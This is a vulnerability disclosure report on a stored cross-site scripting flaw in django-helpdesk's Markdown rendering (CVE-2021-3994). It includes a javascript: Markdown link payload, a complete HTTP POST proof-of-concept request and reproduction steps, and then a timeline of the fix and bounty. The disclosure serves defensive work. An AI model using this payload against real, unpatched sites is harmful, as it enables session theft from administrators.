Cross-site Scripting (XSS) - Stored in django-helpdesk/django-helpdesk

0

Valid Reported on Nov 18th 2021

Description

Stored XSS via Markdown at Description or Comment of Ticket

Detail

When rendering to Markdown, the application does not filter and check the properties are valid, so when the user enters `[XSS](javascript:alert(`document.domain`))` it will render as `<a href="javascript:alert(document.domain)">XSS</a>` .

Proof of Concept

```
// PoC.req
POST /tickets/submit/ HTTP/1.1
Host: 127.0.0.1:8080
User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10.15; rv:95.0) Gecko/20
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,im
Accept-Language: en-US,en;q=0.5
Accept-Encoding: gzip, deflate
Referer: http://127.0.0.1:8080/tickets/submit/
Content-Type: multipart/form-data; boundary=---------------------------6935
Content-Length: 1161
Origin: http://127.0.0.1:8080
DNT: 1
Connection: close
Cookie: csrftoken=UQd46tUHKV3P08qcvIBTOBWDzS9nDZT8TDeCT6W8ThDUPLdWgKmlxwF3t
Upgrade-Insecure-Requests: 1
Sec-Fetch-Dest: document
Sec-Fetch-Mode: navigate
Sec-Fetch-Site: same-origin
Sec-Fetch-User: ?1

-----------------------------693503648190885052737282797l4
Content-Disposition: form-data; name="csrfmiddlewaretoken"

o6SgjwQ9VozjIi2mYHAi5ImkD7UbKviMnTTO69SA4K9oxVP6JJlKOD5KfQpu0N1E
-----------------------------693503648190885052737282797l4
Content-Disposition: form-data; name="queue"

1
-----------------------------693503648190885052737282797l4
Content-Disposition: form-data; name="title"

XSS Markdown
-----------------------------693503648190885052737282797l4
Content-Disposition: form-data; name="body"

[XSS](javascript:alert(`document.domain`))
-----------------------------693503648190885052737282797l4
Content-Disposition: form-data; name="priority"

3
-----------------------------693503648190885052737282797l4
Content-Disposition: form-data; name="due_date"


-----------------------------693503648190885052737282797l4
Content-Disposition: form-data; name="attachment"; filename=""
Content-Type: application/octet-stream


-----------------------------693503648190885052737282797l4
Content-Disposition: form-data; name="submitter_email"

xss@test.com
-----------------------------693503648190885052737282797l4--
```

Step to Reproduce

Ticket

Goto URL without login to create a new ticket: `https://[DOMAIN]/tickets/submit/`
At field [Description of your issue input with payload: `[XSS](javascript:alert(`document.domain`))`

Comment Ticket

At field [Comment / Resolution] input with payload: `[XSS](javascript:alert(`document.domain`))`
The XSS will trigger when the admin click on the content of the description or the comment

Impact

This vulnerability has the potential to steal a user's cookie and gain unauthorized access to that user's account through the stolen cookie.

CVE
CVE-2021-3994
(Published)

Vulnerability Type
CWE-79: Cross-site Scripting (XSS) - Stored

Severity
High (8.8)

Visibility
Public

Status
Fixed

Found by

lethanhphuc
@noobpk
unranked

Fixed by

lethanhphuc
@noobpk
unranked

This report was seen 416 times.

We are processing your report and will contact the **django-helpdesk** team within 24 hours. a year ago

lethanhphuc submitted a **patch** a year ago

We have contacted a member of the **django-helpdesk** team and are waiting to hear back a year ago

Garret Wassermann validated this vulnerability a year ago

lethanhphuc has been awarded the disclosure bounty ✅

The fix bounty is now up for grabs

Garret Wassermann marked this as fixed in **0.3.2** with commit **a22eb0** a year ago

lethanhphuc has been awarded the fix bounty ✅

This vulnerability will not receive a CVE ❌

Jamie Slome a year ago Admin

CVE published! 🎊

Sign in to join this conversation